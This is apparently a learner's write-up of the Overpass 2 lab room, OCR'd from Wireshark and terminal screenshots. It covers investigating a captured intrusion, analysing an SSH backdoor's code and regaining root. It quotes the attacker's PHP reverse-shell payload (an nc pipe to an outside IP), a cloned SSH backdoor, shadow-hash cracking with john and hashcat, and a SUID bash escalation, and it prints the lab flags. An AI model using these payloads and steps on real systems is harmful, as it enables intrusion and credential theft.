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1. INTRODUCTION

This room teaches how to investigate security incidents by analyzing network packet trace files
using Wireshark and trace attackers' activities on a system. It also explores code analysis; trying
to understand how a piece of code works. Finally, it tests learners' skills in privilege escalation.

2. ANSWERS TO QUESTIONS

Forensics - Analyze the PCAP

a. What was the URL of the page they used to upload a reverse shell?
e /development/

overpass2_1595
file  Edit

ADAQ n B

‘£ peapng
Capture

XHC)

View > Analyze Statistics  Telephony

RQes= ¢ 3B

Wireless  Tools Help

QQaam

R http

No. Time
4 0.000326
6 0.0008609...
14 7.9159921...

Source Destination Protocol  Length Info

484 GET |/development/|HTTP/1.1
1078 HTTP/1.1 200 OK (text/html)
1026 POST /development/upload.php HTTP/1.1

(application/x-php)

16 7.9169642... 192.168.170.145 HTTP 309 HTTP/1.1 200 OK (text/html)

18 11.984825.. 192.168.170.145 192.168.170.159 HTTP 401 GET /development/uploads/ HTTP/1.1

19 11.985407.. 192.168.170.159 192.168.170.145 HTTP 788 HTTP/1.1 200 OK (text/html)

27 28.574178.. 192.168.170.145 192.168.170.159 HTTP 466 GET /development/uploads/payload.php HTTP/1.1

3562 229. 224 GET /cooctus.png HTTP/1.1

3619 235.
3876 284.
3878 284.43482...
3880 284.44381..
3890 284.4446

881 HTTP/1.0 200 OK
472 GET / HTTP/1.1
788 HTTP/1.1 200 OK

(text/html)

192.168.170.145
192.168.170.159

HTTP
HTTP

(text/html)
347 GET /cooctus.png HTTP/1.1

141.. HTTP/1.1 200 OK (PNG)

«

» Frame 3619: 881 bytes on wire (7048 bits), 881 bytes captured (7048 bits) on int
» Ethernet II, Src: VMware_17:ba:48 (00:0c:29:17:ba:48), Dst: VMware_6e:18:17 (00:
» Internet Protocol Version 4, Src: 192.168.170.145, Dst: 192.168.170.159

:
» [2 Reassembled TCP Segments (1000 bytes): #3617(185), #3619(815)]

M Hypertext Transfer Protocol

» Line-based text data: text/html (35 lines)

« »

® E  Hypertext Transfer Protocol: Protocol

£ search

e If we follow HTTP Stream we can see that it is indeed an upload form titles “Overpass

Cloud Sync - BETA”
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Reassembled TCP (1000 bytes)
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269.pcapng
Edit View G re  Analy.

ADAG R AR ]

N tepstream eq 0

No. Time Source X
1 0.0000000... : : _ S K_PERM TSval=3256059711 TSe..
2 0.0001225... e S5=1460 SACK_PERM TSval=894..
3 0.0002118.. 3256059711 TSecr=894438874
4 0.0003266...
5 0.0003420.. £1-894438874 TSecr=325605971
6 0.0008609... v _
7 0.0008633... N Sval=3256059712 TSecr=89443..,
8 5.0020428... En=0 TSval=3256064713 TSecr=
9 5.0021973... En=0 TSval=894443876 TSecr
10 5.0022897... Sval=3256064713 TSecr=89444.

maybe I should let him fix it? Something about php eye)
«

» Frame 4: 484 bytes on wi
» Ethernet II, Src: VMware J
» Internet Protocol Versio v+:J=d
» Transmission Control Pro + 25P
» GET /d evelopme
nt/ HTTP /1.1 -Ho
st: 192. 168.170.
159 -Use r-Agent:
Mozilla /5.0 (X1
1; Linux x86_64;
rv:68.0 ) Gecko/
20100101 Firefox
. o o s /68.0- ‘A ccept: t
" 1 " ext/html ,applica
Entire conversation (2171 bytes) Show dataas |ASCII Stream 0 1 tion/xht mlexml,a
Find: Find Next | pplicati on/xml;q
.9,*%/* ;0=0.8

< . . < - -
Filter Out This Stream Save as... Back Close Help

@ B overpass2_1595383502269.pcap Profile: Default
L search A=l g s e O %A 20°C Partly cloudy = ox B

b. What payload did the attacker use to gain access?
e Still on the HTTP stream, stream 1, we can see a post request made when
submitting the uploaded payload file and the contents of the payload.
® <?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh
-i 2>&l|nc 192.168.170.145 4242 >/tmp/£f")?>

£ £ Wireshark - Follow HTTP Stream (tcp.stream eq 1) - overpass2_1595383502269.pcapng
file Edit View
2
AD4de m B jost: 192.168.170.159
N tcpstream eq 1 ser-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.9| HEy - o+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

No. Time Sourcy Accept-Language: en-US,en;q=0.5
11 7.9156253... Accept-Encoding: gzip, deflate] CK_PERM TSval=3256067626 TSe..]
12 7.9157836.. Referer: http://192.168.170.159/development/| 55=1460 SACK PERM TSval=894.
13 7.9159031.. : multipart/forn-data; boundary- - - -1809049028579987031515260006) 3256067627 TSecr=894446790
14 7.9159921.. son: keep-ali /x-php)
15 7.9161080.. p1=894446790 TSecr=3256067627
16 7.9169642...
17 7.9169757... 8 T Sval=3256067628 TSecr=894446..
18 11.984825.. 2 Do el
19 11.985407...
20 11.985492... Sval=3256071696 TSecr=89445.,
21 16.986459... 3 en=0 TSval=3256076697 TSecr=..
22 16.986574.. T en=0 TSval=894455860 TSecr=3..
23 16.986655... Sval=3256076697 TSecr=89445.,

7 TTP/1.1 200 OK|
Date: Tue, 21 Jul 2020 20:34:01 GMT|
» Frame 11: 74 bytes on wi NSNSy Pt )
» Ethernet II, Src: VMware [WITNISIRGFISIEEEL
» Internet Protocol Versio (CERIVEATHRSLIEISERICISTIY)

Bl Transmission Control Profiiconnection: Keep-Alive|

ontent-Type: text/html; charset=UTF-8}

he file payload.php has been uploaded.GET /development/uploads/ HTTP/1.1]

ser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.9|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language: en-US,en;q=@.5|

pgrade-Insecure-Requests: 1]
Packet 16,2 TR pkts 2 B0 k. 3 turns. C
Entire conversation (2773 bytes) s s |ASC Stream 1
Find Find Next
<
Filter Out This Stream Save as... Back Close Help
® E  overpass2_ 1595383 Profile: Default

£ search . (=T » %A 20°C Partly cloudy ~ M % = 1045 B




c. What password did the attacker use to privesc?
® whenevernoteartinstant

Edit View G sture  Analy,

ADAO® R BX@ ]

N tcpstream eq 3 —

No. Time Source
29 28.577587... a8 SACK_PERM TSval=89446745|

31 28.577678...
32 28.577728...
33 28.577735.. al=3256088288 TSecr=894
36 39.323816... 3 TSval=3256099034 TSec
37 39.323916...
38 39.325002...
39 39.325065...
40 39.325194...
41 39.325239..
44 44.659136...
45 44.677577...
46 44.677585.. 192.1

49 48.593184.. 192.168

: sudo -v [-AknS] [-g group]

[-h hos
: sudo -1 [-AknS] [-g group] [-h hos’

€]
t]

<
» Frame 29: 74 bytes on wi
» Ethernet II, Src: VMware
» Internet Protocol Versio

[ Transmission Control P

o6 67 I o t5 38 tumns. Click toselct

Entire conversation (6980 bytes) ow data as |ASCII Stream 3
Find Find Next

. Filter Out This Stream Print Saveas.. Back Close Help

@ B overpass2_1595383502269.pcap Profile: Default
O search - =TI - i o] v %A 20°C Partlycloudy ~ M % = 104 B

d. How did the attacker establish persistence?
e https://github.com/NinjaJdc0l/ssh-backdoor



£ Wireshark - Follow

Edit View G ture  Analy:

ADAG R AR ]

N tcpstream eq 3 . <[ = B
No. Time

29 28.577587... j‘ SACK_PERM TSval=89446745)
B0 S22 $6$7655e. yv$HIHSMthpGHpCzr3MnWDH1EDBEbVSHE 7ma8yxzBMBLUBReDVSe1Pu/VuRskugt1Ckul/SKGX . SPyMpzAY03Cg/ : 18464:0:99999:

31 28.577678.. paradox : $6$0RXQuA3X$WaAj32/4sEPVImIdHsy IkIZmlrjnNxrY5c8GE1I TG of DIFudtyqY37YCyukiHIPhidIU7HO: 18464:0:99999:7

32 28.577728.. s 2ymex: $6$B . EnuXi0$f/u@0HosZI03UQCEIplazoQtHBHIFSX/0oBjumYFEOTcqCALM e FIgYWARSA  2vs FRy FEXLuXxKitcPUFCXLX/ :18464:0: 99999

33 28.577735.. bee : $6% . SqHrp62$B4riiPieHk jogbQMFu] 211 7AUSCXNFZV76ZHO5tYPL1xRZUI1FHbypBKITAY1M6NiF seBIVLBINS0D: 18464:0: 9999 =894
36 39.323816.. uirland: $6$SHybS802$9diveQinxy8PIQNGOOUDTNKeb2AiSp . i8KznuA{Ybal3qeaRF5h{HPer3weiC. 2Mr0j 2015w/ fd2culkCodUP. : 18464:0:9999 3 TSval=3256099034 TSec
o5 ) PPECT [james@overpass-production:~$[git clone https://github.com/Ninjac@1/ssh-backdoor] ST TR0 S FoLr
38 39.325002... 54 TSval=894478198 TSec
39 39.325065...
40 39.325194...
41 39.325239..
44 44.659136...
45 44.677577...
46 44.677585...
49 48.593184...

<git clone https://github.com/Ninjalcel/ssh-backdoor]
loning into 'ssh-backdoor’...
: Enumerating objects: 18, done.
: Counting objects: 5% (1/18)
: Counting objects: 11% (2/18)
: Counting objects: 16% (3/18)
: Counting objects: 22% (4/18)
: Counting objects: 27% (5/18) Sval=3256104388 TSecr=8
: Counting objects: 33% (6/18) 56108303 TS
: Counting objects: 38% (7/18) J
: Counting objects: 44% (8/18)
» Frame 29: 74 bytes on wi : Counting objects: 5@% (9/18)
» Ethernet II, Src: VMware : Counting Okb’jectsr 55: EIB/IS{
3 ; : Counting objects: 61% (11/18
’ : Counting objects: 66% (12/18)

: Counting objects: 72% (13/18)
: Counting objects: 77% (14/18)
: Counting objects: 83% (15/18)
: Counting objects: 88% (16/18)
: Counting objects: 94% (17/18)
: Counting objects: 100% (18/18)
: Counting objects: 100% (18/18), done.
: Compressing objects: 6% (1/15)
: Compressing object 13% (2/15)
: Compressing objects: 20% (3/15)

<

Entire conversation (6980 bytes) Show data as Stream 3

Find: Find Next

<

Filter Out This Stream Print Save as.. Back Close Help
@ B overpass2_1595383502269.pcap Profile: Default

L search R ot g s %A 20°C Partly cloudy - = 051 B

e. Using the fasttrack wordlist, how many of the system passwords were crackable?
e We can see the attacker dumped the shadow file as shown.

£ Wireshark - Follow TCP Stream (tcp.stream eq 3) - over
File Edit View pture  Analy

AD 40

N tepstream eq

(ALL : ALL) ALL

sudo cat /etc/shador
*:18295:

No. Time a
114 95.935050.. & 8B S8 Len=1462 TSval=89453480
115 95.935095... TSval=3256155644 TSecr|
116 95.935531... Len=29 TSval=894534807
117 95.935587... ai r TSval=3256155644 TSecn
120 130.78899... : : Len=52 TSval=3256190497
121 130.78969... Len=55 TSval=894569661
122 130.78974... ) TSval=3256190497 TSecr,
123 130.79052. - 2 TSval=894569661
124 130.79859.
164 131.76315
165 131.76327. list:*:18295:0:99999:7
167 i 18295 19999

183 131.84977...

I 182 131.84972.

<

» Frame 124: 66 bytes on w
» Ethernet II, Src: VMware
» Internet Protocol Versio
» Transmission Control Pro

y

paradox : $6$0RXQu43X$WaAj3Z/4sEPVImIdHsy TkIZmlrjjnNxrY5c8GE1ITiG7u36xSgMaWKA2woDIFudtyqY37YCyukiHIPhiaTU7HO: 18464:0:99999:
s zymex: $6$B . EnuXiO$f/u@BHosZI03UQCEIplazoQtHBIIJSX/0oBjumYFEOTcqCALMjeF IgYWGRSAT 2vs FRy FEx1uXxKitcPUFcX1X/ : 18464 :0:99999
bee : $6% . SqHrp62$B4riiPioHK @gbQMFUj21KHVSIVrSFU7AUICKNrZV7GZHRS tYPL1XRZUI 1FHby p@KITAeY1MENiF seBIVLBINS0O: 18464:0: 9999
uirland: $6$SWybS802$9diveQinxy8PIQnGQQWbTNKeb2AiSp . i8KznuAjYbgI3qe4RF5hjHPer3weiC. 2Mr0j 2015w/ fd2cuokCedUP. : 18464

Packet 91. 67 M ks,
Entire conversation (6980 bytes) Show data as |ASCII Stream 3
Find Next
. Filter Out This Stream Print Save as. Back Close Help
® E  overpass2_1595383502269.pcap Profile: Default

@ O search i v 4 A ION | | %A 20°C Partly cloudy A = ore B

e [fwe copy the hashes to a file and use the john the ripper as shown below we see 4 of the
passwords are crackable.



le  Machine  View

Activities @8 Terminal Jul15 08:05

o cypherpunk@deathstalker: ~ Q i (<]

cypherpunk@deathstalker: ~ cypherpunk@deathstalker: ~ -

-> /usr/share/set/src/fasttrack/wordlist.txt
-> /usr/share/john/password.lst
->
-> /usr/share/nmap/nselib/data/passwords.lst
rockyou. txt

-> /usr/share/sqlmap/data/txt/wordlist.txt

-> /usr/share/dict/wordlist-probable.txt
)-[/usr/share/wordlists]

)-[/usr/share/wordlists]

john --wordlist=/usr/share t/src/fe rack/wordlist.txt shadowhashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Wwill 2 OpenMP threads
or Ctrl-C to abort, almost any other key for status
(paradox)
(bee)
ex)
(muirland)
:00:04 DONE (2024-07-15 08:05) 0.9900g/s 64.85p/s 286.6c/s 286.6C/s letmein..starwars
--show" option to display all of the cracked passwords reliably
Session completed.

0¥ F ¢ W OrT 8 @ K right cd
® O search - € ¥ m 9 A S %4 20°C Partlycloudy ~ W | @ & oosos Bl

Research - Analyze the code

a. What's the default hash for the backdoor?
e We see this from the main.go script on thebackdoor GitHub repository identified

earlier.

Jul15 08
n cypherpunk@deathstalker: ~/ssh-backdoor Q i [x]
cypherpunk@deathstalker: ~/ssh-backdoor cypherpunk@deathstalker: ~ -

GNU nano 7.2 main.go

gossh

r hash string

func main() {
ar (

1lport

lhost net.ParseIP(
keyPath

fingerprint s

b. What's the hardcoded salt for the backdoor?
e The script has a function called hashpassword, which takes a password string
and a salt string, combines them, and then creates a sha512 hash.



func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
resultHash == hash

}

func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
fmt.Sprintf( , hash)

e [fwe go to where the function is called we can see the hardcoded salt being
passed as shown.

func runCommand(cmd string) [lbyte {
result := exec.Command( 9 , cmd)
response, := result.CombinedOutput()
response

}

func passwordHandler( ssh.Context, password string) bool {
verifyPass(hash, , password)

Help Write Out Where Is Cut ll Execute [ Location Undo | Set Mark To Bracket B Previous
Exit Read File Replace Paste M Justify Wi Go To Line Redo Copy /! Where Was Next
¥ & WES N @ K righ o
® O search S I - A OVEu Q@ O h P %A 20°C Partlycloudy ~ W @ B & & D oz B

¢. What was the hash that the attacker used? - go back to the PCAP for this!

e From the TCP stream of the PCAP file, we see the attacker passing the hash
6d05358f090eea56a238af02e47d44ee5489d234810et6240280857ec69712a3e5e3
70b8a41899d0196adel6c0d54327¢5654019292cbfe0bSe98adlfec71bed to the
backdoor binary sh shown.



£ Wireshark - Foll eam (tcp.stream eq 3) - overpa:
Edit View Go Capture Analy.

o 7 npacking objects: 94% (17/18)
sy SR A NN - inc objects: 160% (18/18)
npacking objects: 100% (18/18), done.
[james@overpass -production:~$ cd ssh-backdoor

N tcpstream eq 3 [ <] = B4
No. Time Source

29 28.577587.. james@overpass-production:~/ssh-backdoor$ ssh-keygen) SACK PERM TSval=89446745
B enerating public/private rsa key pair. s A RN I
31 28.577678.. . Enter file in which to save the key (/home/james/.ssh/id_rsa): id_i p1=894467451 TSecr=32560
32 28.577728.. i b5 TSval=894467451 TSecr
33 28.577735.. 5 Enter passphrase (empty for no passphrase): al=3256088288 TSecr=894
36 39.323816.. . 3 TSval=3256099034 TSec
37 39.323916.. . al=894478197 TSecr=3256
38 39.325002... 54 TSval=894478198 TSec
39 39.325065.. Kval=3256099035 TSecr=89
40 39.325194... 8] =2 TSval=894478198 TSec
41 39.325239.. .168 8 0xjttuz58 J i Fval=3256099035 TSecr=89
44 44.659136... 7 TSval=3256104369 TS
45 44.677577... en=64 TSval=894483551 TS
46 44.677585... Sval=3256104388 TSecr=8
49 48.593184... en=8 TSval=3256108303 TS

‘our identification has been saved in id_rsa.

Frame 29: 74 bytes on wi
Ethernet II, Src: VMware
Internet Protocol Versio
Transmission Control Prd
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
[chmod_+x_backdoor|
james@overpass -produc sh-backdoor$ ./backdoor -a 6d@5358f@90eea56a238af02ed7d4dee5489d234810eF6240280857ec69712a3e5e370b8as)
[1899d0196ade16c0d54327¢5654019292cbfe@b5e98ad1fec71bed|

[<9d0196ade16c0d54327c5654019292cbfedbSed8ad1fec1bed|
SSH - 2020/07/21 20:36:56 Started SSH backdoor on ©.0.0.6:2222}

Packet 168. 67§ 19 S pk
Entire conversation (6980 bytes) Show data as | ASCII Stream B =

Find: Find Next

“« . .
Filter Out This Stream Save as. Back Close Help

® E  overpass2_1595383502269.pcap Profile: Default

® O search ho @ 9 A ® © %A 20°C Partlycloudy ~ W §

d. Crack the hash using rockyou and a cracking tool of your choice. What's the

password?
e We need to combine the hash with the hardcoded salt first before proceeding to
crack it using hashcat.
e Note, we use mode -m 1710 because that’s the format used by our backdoor.

sha512($pass.$salt) salted and/or iterated
sha512($salt.$pass) salted and/or iterated

sha512($salt.utf16le($pass)) salted and/or iterated
sha512(utfl6le($pass).$salt) salted and/or iterated

® novemberl6



B c1ph3rbnuk@DESKTOP-DI70INA:

:~$ cat hash+salt.txt
[6de5358f090eea56a238af02e47d44ee5489d234810e 624028085 9712a3e5e370b8a41899d@196ade16c0d54327¢5654019292cbfedb5e98ad1fec71bed: 1c362db832f3f864c8c2fe@5f2002a05
i~

$|hashcat -m 1710 -a @ hash+salt.txt /mnt/c/Usel user/Downloads/rockyou.txt
hashcat (v6.2.5) starting

enCL API (OpenCL 2.0 pocl 1 inux, None 7 , LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
pthread-Intel(R) (TM) 00U CPU @ 2.40GHz, 1415/2895 MB (512 MB allocatable), 4MCU
ord length supported by
Maximum password length supported by ke
Minimim salt length supported by kerne

Maximum salt length supported by

: 1 digests; 1 unique dig 1 unique salts
s: 16 bits, 65536 entries, @x@000ffff mask, 262144 bytes, 5/13 rotates

uatchdog: Hardware monitoring interface not found on your system.
atchdog: Temperature abort trigger disabled.

Host memory required for this attack: @ MB

bictionary cache hi
* Filename.

139921497
: 14344384

cbfe@b5e98ad1fec71bed: 1c362db832f3f864c8c2fe@5f2002a05 | novemberlé

hashcat
Cracked

P search i § < %A 20°C Partlycloudy ~ » & oo [

Attack - Get Back In

a. The attacker defaced the website. What message did they leave as a heading?

File Machine View Input Devices Help
Activities ©) Firefox ESR Jul15 09:32
) LOL Hacked x +

€« C ® O & 101093222

KaliLinux 4 KaliTools @ KaliDocs N Kali Forums X Kali NetHunter & Exploit-DB % Google Hacking DB ) OffSec

H4ck3d by CooctusClan

Using the information you've found previously, hack your way back in!
b. What's the user flag?
e The backdoor was set to run on port 2222. We can confirm the port is open using

Nmap.



[}

File Machine View Input Devices Help

Activities @8 Terminal Jul15 11:24

a cypherpunk@deathstalker: ~ Q o

cypherpunk@deathstalker: ~ cypherpunk@deathstalker: ~ cypherpunk@deathstalker: ~/ssh-backdoor -

= udo nmag - T4 10.10.93.222

[sudo] password for cypherpunk:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-07-15 @9:31 EAT
Nmap scan report for 10.10.93.222

Host is up (0.34s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

2222/tcp open EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds

e With the backdoored credentials cracked using hadhcat(november16) we are able to log
into the system as user james and retrieve the flag.

[}

File Machine View Input Devices Help

Activities @ Terminal Jul15 10:04

n james@overpass-production: /home/james Q i [x]

cypherpunk@deathstalker: ~ cypherpunk@deathstalker: ~ james@overpass-production: /home/james

L h james®10.10.93.222 -p 2222 -oHostK

james@10.10.93.222's password:

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jamesgoverpass-production: $ cd ~ 86 1s
user.txt

james@overpass-production: $ cat user.txt
thm{d119b4fa8c497ddb0525f7ad200e6567 }
jamesgoverpass-production:
james@overpass-production: $ 1

c. What's the root flag?

e We list the contents of the home directory trying to identify any priviledge
escalation vector.

e There is a hidden binary named suid_bash owned by the root user with its SUID
value set.

e We can abuse that to spawn a root shell. Note we use the switch -p with the binary
to tell it not to drop its privileges but to maintain the evaluated privileges granted
by the SUID bit.

e With that, we gain access as root and retrieve the flag.
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o james@overpass-production: /home/james Q i [x]

cypherpunk@deathstalker: ~ cypherpunk@deathstalker: ~ James@overpass-production: /home/james

jamesaoverpass-production:
total 1136
james james 4096 2020 ./
root root 4096 2020 /
james james 9 2020 -> /dev/null
james james 220 4 2018 .bash_logout
james james 3771 4 2018 .bashrc
james james 4096 21 2020
james james 4096 21 2020 /
james james 4096 22 2020 /
james james 51 21 2020 .overpass
james james 807 4 2018 .profile
james james ) 21 2020 .sudo_as_admin_successful
root root 1113504 22 2020 .suid_bash*
james james 4096 22 2020 /
james james 38 22 2020 user.txt
7 james jam 4096 21 2020
verpass-production
james@overpass-production: $[./.suid_bash -p
.suid_bash-4.4# id
uid=1000( james) gid=1000(james) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(1xd),1000(james)
.suid_bash-4.4# cd /root
.suid_bash-4.4# 1s
root.txt
.suid bash-4.4# cat root.txt
thm{d53b2684f169360bb9606c333873144d}
.suid_bash-4.4#

3. MODULE COMPLETION
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4. CONCLUSION

This assignment has taught me how to investigate security incidents by analyzing Pcap files
using Wireshark. [ have learned how to filter network traffic and follow TCP and HTTP streams
in Wireshark. With the information identified from the network packet analysis, I have learned
how to trace the actions attackers took to gain access to a system. Additionally, I have learned
how to perform privilege escalation an gain access to a system as root by abusing the SUID bits.



